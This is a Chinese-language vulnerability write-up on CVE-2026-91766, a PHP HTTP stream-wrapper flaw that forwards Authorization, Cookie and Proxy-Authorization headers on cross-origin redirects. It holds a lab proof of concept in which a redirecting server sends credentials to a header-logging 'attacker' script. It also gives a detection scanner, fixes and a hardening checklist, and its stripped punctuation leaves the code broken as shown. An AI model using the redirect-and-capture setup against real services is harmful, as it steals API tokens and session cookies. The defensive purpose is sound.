CVE-2026-91766 PHP HTTP流包装器重定向凭证泄露实战:检测脚本、复现与加固清单 前言很多PHP开发者习惯直接用file_get_contents拉取远程接口顺手带上Authorization或者Cookie头部再开启follow_location自动跟随跳转。这套写法写起来省事线上项目里随处可见。绝大多数人默认跳转后的目标服务器拿不到原本发给上游服务的认证凭证。CVE-2026-91766推翻这个假设。libcurl早在2018年就修复过完全同类漏洞而PHP内置http流包装器直到2026年才补上这个逻辑缺陷。同样的安全坑在不同HTTP客户端组件反复重现这件事本身就值得深挖。漏洞不是远程代码执行不会直接拿下服务器权限但它可以把API Token、会话Cookie、代理认证头送到攻击者可控服务器。在业务侧这个漏洞的杀伤范围被严重低估。很多企业扫描器只盯着RCE、SQL注入这类高危漏洞这类信息泄露漏洞经常被忽略。这篇文章从底层源码逻辑出发搭最小环境完成漏洞复现提供批量检测脚本给出代码审计排查方法、上线加固清单最后对比同类库历史漏洞讲清楚为什么这类问题反复出现。1 漏洞基础信息CVE编号CVE-2026-91766漏洞类型跨源凭证泄露CWE-522风险等级中危受影响版本PHP 8.2.x 8.2.34PHP 8.3.x 8.3.35PHP 8.4.x 8.4.26PHP 8.5.x 8.5.11修复版本升级至上述对应补丁版本或更高。触发组件PHP内置http://、https://流包装器不是curl扩展不是Guzzle这类第三方HTTP库。触发函数file_get_contents()、fopen()、readfile()只要底层调用PHP HTTP流包装器且开启跟随重定向。会被泄露的请求头只有三类AuthorizationBearer token、Basic账号密码Cookie业务会话CookieProxy-Authorization代理认证凭证跳转触发条件任意一条即可重定向到不同域名同域名但端口变更HTTPS降级跳转至HTTP明文传输凭证攻击者不需要攻陷目标业务服务器。攻击者只需要控制业务程序访问的上游服务上游返回301/302/307/308跳转指向攻击者自己的服务器。PHP流包装器会原样带着三个敏感头部访问跳转地址。攻击者服务器直接接收凭证。2 漏洞底层原理第一性原理视角HTTP流包装器是PHP内核自带的网络客户端不依赖curl扩展。stream_context_create构造请求上下文follow_location控制是否跟随跳转max_redirects限制跳转次数。旧版本PHP处理跳转的逻辑缺少Origin校验。原始请求构造头部后PHP把头部集合存入内存结构。每一次跟随跳转它直接复用同一组请求头不做过滤。它不会判断跳转目标的协议、主机、端口是否和原始请求一致。原始请求[https://api.trusted-domain.com](https://api.trusted-domain.com)带上Authorization: Bearer MY_SECRET_TOKEN上游返回302Location为[https://attacker.example.com/leak](https://attacker.example.com/leak)PHP继续发起请求完整复制Authorization、Cookie、Proxy-Authorization头部发送给attacker.example.com。就算跳转从HTTPS降到HTTP这个逻辑依旧执行。凭证会走明文网络传输中间人也能抓包拿到。很多人会混淆Guzzle、curl扩展本身也出过同类漏洞但这是PHP原生流包装器独立缺陷。如果你代码用curl扩展不受CVE-2026-91766影响如果你用file_get_contentshttp上下文即使服务器装了curl扩展依旧存在风险。补丁做的改动很简单每次跳转前对比新目标URI和原始URI的三元组协议、主机、端口。三元组不一致自动删除上述三个敏感请求头再发起跳转请求。flowchart LR A[PHP业务代码] -- B[stream_context_create 添加Authorization/Cookie头] B -- C[调用file_get_contents 请求可信上游] C -- D{上游返回302 Location攻击者地址} D --|漏洞版本PHP| E[保留全部敏感头部访问攻击者服务器] D --|已修复PHP版本| F[跨源跳转删除Authorization/Cookie/Proxy-Authorization] E -- G[攻击者捕获凭证] F -- H[跳转请求无敏感头部无泄露]2.1 容易踩错的认知误区误区1只要目标域名是HTTPS凭证就安全。跳转HTTPS转HTTP漏洞版本PHP依旧携带头部凭证明文在链路传输。误区2使用HTTPS请求就不会跨域泄露。跨域判定不是看协议看主机端口。同域名不同端口也会触发泄露。误区3Guzzle会受这个漏洞影响。Guzzle默认使用curl扩展这个漏洞属于PHP原生流包装器两者底层实现完全独立。Guzzle有自己历史版本的同类漏洞CVE-2022-31090是另外一套问题。误区4allow_url_fopenOff就不会触发漏洞。allow_url_fopenOff禁用文件读取远程资源。如果业务代码是开启状态风险存在关闭则直接阻断这个利用入口。但不要把这个作为主防护手段业务经常需要开启这个配置。3 漏洞复现环境搭建环境清单受害端PHP 8.2.33受影响版本开启allow_url_fopenOn服务端A受控上游返回302跳转简单PHP服务返回302 Location指向攻击者服务器攻击者服务端B接收HTTP请求打印全部请求头并保存日志网络拓扑flowchart TB Dev[PHP业务应用br受害主机] -- SrvA[受控服务Abr返回302重定向] SrvA -- Dev Dev -- SrvB[攻击者服务器br捕获请求头凭证]3.1 受控上游服务代码server_a.php返回跳转?php // 受控服务器返回302跳转至攻击者地址 $attacker_url [http://127.0.0.1:8081/recv.php](http://127.0.0.1:8081/recv.php); header(Location: {$attacker_url}, true, 302); exit;监听端口8080。访问[http://127.0.0.1:8080/server_a.php](http://127.0.0.1:8080/server_a.php)触发跳转。3.2 攻击者接收日志脚本 recv.php?php $log date(Y-m-d H:i:s) . \n; $log . RECEIVED REQUEST HEADERS \n; foreach (getallheaders() as $k $v) { $log . {$k}: {$v}\n; } $log . \n\n; file_put_contents(./leak.log, $log, FILE_APPEND); echo ok;监听8081端口所有进来的请求头部写入leak.log。3.3 漏洞POC代码vuln_demo.php业务侧代码?php // 业务代码使用file_get_contents携带认证头开启跟随重定向 $ctx stream_context_create([ http [ follow_location true, max_redirects 5, header [ Authorization: Bearer MY_SECRET_API_TOKEN_123456, Cookie: SESSIONIDABCDEFG987654321 ] ] ]); $url [http://127.0.0.1:8080/server_a.php](http://127.0.0.1:8080/server_a.php); $resp file_get_contents($url, false, $ctx); echo request finished\n;3.4 复现执行步骤启动server_a.php在8080启动recv.php在8081执行php vuln_demo.php查看leak.log可以看到Authorization、Cookie完整出现在攻击者收到的请求头内。更换修复后的PHP版本重复执行日志中不会出现这两个头部。注意生产环境不会用127.0.0.1攻击者会使用公网域名完成跳转。4 批量检测脚本线上扫描业务代码下面脚本扫描项目目录下所有PHP文件匹配使用stream_context_createhttp上下文同时设置header携带Authorization/Cookie并且开启follow_location的代码片段。脚本是静态代码审计不会执行代码只做特征匹配适合CI/CD流水线接入。#!/usr/bin/env python3 # scan_cve_2026_91766.py # CVE-2026-91766 静态代码检测脚本 # 搜索file_get_contents/fopen/readfile stream_context_create http上下文 follow_location 敏感header import os import re import argparse PATTERN_FOLLOW re.compile(rfollow_location\s*\s*true, re.IGNORECASE) PATTERN_AUTH_HEADER re.compile(r(Authorization|Cookie|Proxy-Authorization)\s*:, re.IGNORECASE) PATTERN_HTTP_CONTEXT re.compile(rhttp\s*, re.IGNORECASE) RISK_FUNC re.compile(r(file_get_contents|fopen|readfile)\s*\(, re.IGNORECASE) def scan_file(path): try: with open(path, r, encodingutf-8, errorsignore) as f: content f.read() except Exception as e: return None hit_http_ctx PATTERN_HTTP_CONTEXT.search(content) hit_follow PATTERN_FOLLOW.search(content) hit_sensitive_header PATTERN_AUTH_HEADER.search(content) hit_func RISK_FUNC.search(content) if hit_http_ctx and hit_follow and hit_sensitive_header and hit_func: return { file: path, } return None def scan_dir(root): hits [] for rootdir, _, files in os.walk(root): for fname in files: if fname.lower().endswith(.php): fp os.path.join(rootdir, fname) res scan_file(fp) if res: hits.append(res) return hits def main(): parser argparse.ArgumentParser() parser.add_argument(target, help项目代码根目录) args parser.parse_args() results scan_dir(args.target) if len(results) 0: print([] 未发现匹配风险代码片段) return print(f[!] 共发现 {len(results)} 处疑似风险代码位置) for item in results: print( - item[file]) if __name__ __main__: main()运行命令python3 scan_cve_2026_91766.py /var/www/your_project脚本局限静态扫描只能匹配文本特征存在误报。部分代码字符串拼接、动态构造header静态脚本无法识别需要人工审计。不能替代人工代码审查。5 对抗式审查攻击面拓展与旁路利用思路很多人只看最简单的302跳转场景。对抗式审查需要把攻击链路拉长看真实业务中可能出现的各种入口。5.1 业务入口1第三方API代理转发业务需要对接第三方开放API后端PHP作为中转调用第三方接口带上业务平台的token。第三方服务商一旦被入侵或者服务商接口本身存在可控跳转点就可以返回302偷取我方token。这种场景不需要外部用户输入属于**服务端到服务端SS2S**风险很多安全测试会漏掉。5.2 业务入口2用户可控URL参数业务允许用户提交URL后端PHP用file_get_contents拉取这个URL的内容比如网页预览、内容抓取功能。攻击者提交一个URL该URL服务器返回302跳转至攻击者域名。后端请求携带内置凭证直接泄露。这是高危组合用户可控URL PHP流包装器 固定认证头。5.3 业务入口3HTTPS跳转HTTP降级场景原始请求HTTPS跳转目标是HTTP地址。漏洞版本PHP依旧转发Cookie和Authorization。数据包在公网明文传输中间人抓包即可拿到凭证。这个场景放大危害不只是跳转目标服务器接收凭证链路中间人同样可以捕获。5.4 边界场景同主机不同端口原始请求[https://api.example.com:443](https://api.example.com:443)跳转目标[https://api.example.com:8080](https://api.example.com:8080)。主机一致端口变更旧版本PHP判定跨源依旧会转发敏感头部。很多开发者误以为同域名就是可信忽略端口。5.5 攻击链路限制漏洞不会主动向外发起请求必须业务代码主动调用file_get_contents这类函数。攻击者必须控制被业务访问的上游服务返回跳转响应。没有用户输入的情况下漏洞触发依赖外部第三方接口的响应控制。所以CVSS评分定为中危不是高危。但业务一旦有用户可控URL参数风险等级直接拉高。6 代码层面修复写法三种方案方案A升级PHP版本首选升级到修复版本。升级完成后PHP内核自动在跨源跳转时删除三个敏感头部原有业务代码不需要改动。升级前务必做业务回归测试部分业务依赖旧的头部透传行为升级后逻辑变化会引发业务异常。需要提前评估兼容性。方案B代码层面关闭自动跟随重定向推荐临时应急手动关闭follow_location自己实现跳转逻辑在跳转时自行清理敏感请求头。不安全原始代码?php $ctx stream_context_create([ http [ follow_location true, header [ Authorization: Bearer TOKEN, ] ] ]); $res file_get_contents($url, false, $ctx);安全改写关闭自动跳转手动处理跳转?php function safe_http_request(string $url, array $headers, int $max_redir 3): array { $current_url $url; $redir_count 0; while ($redir_count $max_redir) { $ctx stream_context_create([ http [ follow_location false, header $headers, ignore_errors true ] ]); $resp file_get_contents($current_url, false, $ctx); $resp_header $http_response_header ?? []; $location null; $status_code 200; foreach ($resp_header as $h) { if (preg_match(#HTTP/\S (\d)#, $h, $m)) { $status_code intval($m[1]); } if (stripos($h, Location:) 0) { $location trim(substr($h, 9)); } } if (!in_array($status_code, [301,302,307,308]) || empty($location)) { return [body $resp, status $status_code]; } // 校验跳转目标跨源则清空敏感头部 $origin_parsed parse_url($current_url); $target_parsed parse_url($location); $same_origin ( ($origin_parsed[scheme] ?? ) ($target_parsed[scheme] ?? ) ($origin_parsed[host] ?? ) ($target_parsed[host] ?? ) ($origin_parsed[port] ?? null) ($target_parsed[port] ?? null) ); if (!$same_origin) { // 跨源跳转删除Authorization Cookie Proxy-Authorization $new_headers []; foreach ($headers as $h) { $lower strtolower($h); if (strpos($lower, authorization:) 0) continue; if (strpos($lower, cookie:) 0) continue; if (strpos($lower, proxy-authorization:) 0) continue; $new_headers[] $h; } $headers $new_headers; } $current_url $location; $redir_count; } return [body $resp, status $status_code]; } // 使用示例 $req_headers [ Authorization: Bearer MY_SECRET_TOKEN ]; $ret safe_http_request([https://api.trusted.com](https://api.trusted.com), $req_headers); var_dump($ret);方案C替换底层HTTP客户端改用curl扩展curl在7.58.0版本修复同类漏洞只要curl版本足够天然规避该漏洞。新项目优先用curl或者Guzzle减少原生流包装器的使用。curl示例代码?php $ch curl_init([https://api.trusted.com](https://api.trusted.com)); $headers [ Authorization: Bearer MY_SECRET_TOKEN ]; curl_setopt_array($ch, [ CURLOPT_HTTPHEADER $headers, CURLOPT_FOLLOWLOCATION true, CURLOPT_MAXREDIRS 5, CURLOPT_RETURNTRANSFER true ]); $resp curl_exec($ch); curl_close($ch); echo $resp;注意Guzzle旧版本存在独立的跳转凭证泄露漏洞升级Guzzle版本到7.4.5以上。7 生产环境安全检查清单7.1 版本核查遍历所有服务器PHP版本核对是否落在受影响区间。容器化环境检查镜像内PHP版本很多容器镜像长期不更新。多PHP共存环境比如PHP8.1、8.2混部逐个核对。7.2 代码审计检查项搜索所有file_get_contents、fopen、readfile调用确认是否使用http/https包装器。查找stream_context_createhttp上下文是否开启follow_location。检查上下文header数组内是否写入Authorization、Cookie、Proxy-Authorization。识别业务是否存在用户可控URL参数传入这些函数。确认第三方API调用链路第三方接口是否存在跳转返回。7.3 配置项核查allow_url_fopen业务不需要远程读取时直接关闭。上线WAF规则监控后端出站请求审计跨域名跳转场景。WAF很难完全拦截仅辅助告警。出站网络策略PHP应用服务器做网络出口限制只允许访问固定可信API域名阻断到未知外网地址的出站请求。这个是强有效的纵深防御。7.4 上线验证升级PHP或者修改代码之后必须做回归测试。构造302跳转测试用例抓包验证跨源跳转请求不再携带敏感头部。不能仅凭静态扫描判断修复完成。8 同类漏洞横向对比理解这类问题的共性CVE-2026-91766不是孤例。libcurl在2018年CVE-2018-1000007完全一致跟随跳转时跨源保留认证头部。Guzzle CVE-2022-31090curl handler跳转未清理Authorization头。Node.js Axios也出现过Proxy-Authorization跳转残留泄露漏洞。底层根源是同一个设计缺陷HTTP客户端默认复用请求头跳转逻辑没有做源站隔离校验。开发者写HTTP客户端时优先考虑功能实现跳转复用头部最简单性能开销最小。安全校验属于附加逻辑很容易被遗漏。浏览器天然有同源策略限制但是后端服务端HTTP客户端没有浏览器同源策略保护。很多开发会下意识把浏览器安全规则套用到后端形成错误假设。后端服务端HTTP客户端安全是长期被忽视的领域。SSRF、跳转凭证泄露都属于这类风险。SSRF侧重访问内网资源CVE-2026-91766侧重把客户端凭证送给外部攻击者二者经常同时出现。9 对抗式审查延伸结合SSRF形成组合攻击如果业务同时存在用户可控URLSSRF入口 CVE-2026-91766漏洞攻击威力叠加。用户提交可控URL指向攻击者控制的外部服务器。攻击者服务器返回302跳转目标地址可以是公网地址也可以内网地址。后端PHP发起请求携带业务token。两种结果跳转目标外网token泄露给攻击者。跳转目标内网地址同时SSRF访问内网携带业务凭证访问内网服务。这是高危组合代码审计优先排查这种场景。很多企业SSRF防御只拦截内网IP忽略跳转凭证泄露。就算SSRF做内网IP阻断依旧可以把凭证外送。10 风险评估模型用于给运维/产品汇报评估漏洞影响不能只看CVSS分数结合业务三个维度判断风险等级。维度1是否存在用户可控输入控制请求URL。存在用户可控URL → 高危仅服务端固定调用第三方API无用户输入 → 中危维度2请求携带凭证权限高低高权限平台管理员token、数据库密钥、核心业务接口凭证低权限只读API的普通访问令牌维度3出站网络访问控制无出口限制可以访问任意外网地址 → 风险放大严格白名单仅允许访问固定域名 → 风险降低示例评估业务A用户提交URL预览功能后端file_get_contents携带平台只读token服务器可访问外网 → 风险等级高。业务B后台定时任务调用固定第三方API使用普通只读token出站白名单限制仅访问该第三方域名 → 风险等级中。11 长期开发规范规避同类后端HTTP客户端漏洞业务代码尽量减少file_get_contents做远程HTTP请求优先curl/Guzzle。所有服务端出站HTTP请求单独封装统一请求SDK统一处理跳转、头部过滤不要零散手写stream_context。认证头部最小范围生效不要全局复用。不同第三方服务使用独立token不要共用同一个凭证。CI流水线加入静态扫描检测带follow_location和敏感header的PHP流包装调用。安全测试用例增加跳转测试用例自动化验证跨源跳转头部清理逻辑。服务器出站访问使用网络策略域名白名单最小权限。结尾CVE-2026-91766再次证明后端HTTP客户端安全长期存在盲区。浏览器同源策略深入人心但是服务端发起HTTP请求没有这套保护。很多安全团队审计业务重点放在前端注入、用户输入过滤忽略后端向外请求的跳转逻辑。这个漏洞技术门槛不高利用条件有约束但大量存量PHP业务都存在这个写法。代码里file_get_contents加follow_location的写法遍布各种老项目升级PHP、封装统一HTTP客户端是最根本的解决方式。互动问题你们项目代码审计中是否遇到过file_get_contents出站请求携带业务Token的写法你在做SSRF测试的时候有没有额外检查跳转带来的凭证泄露风险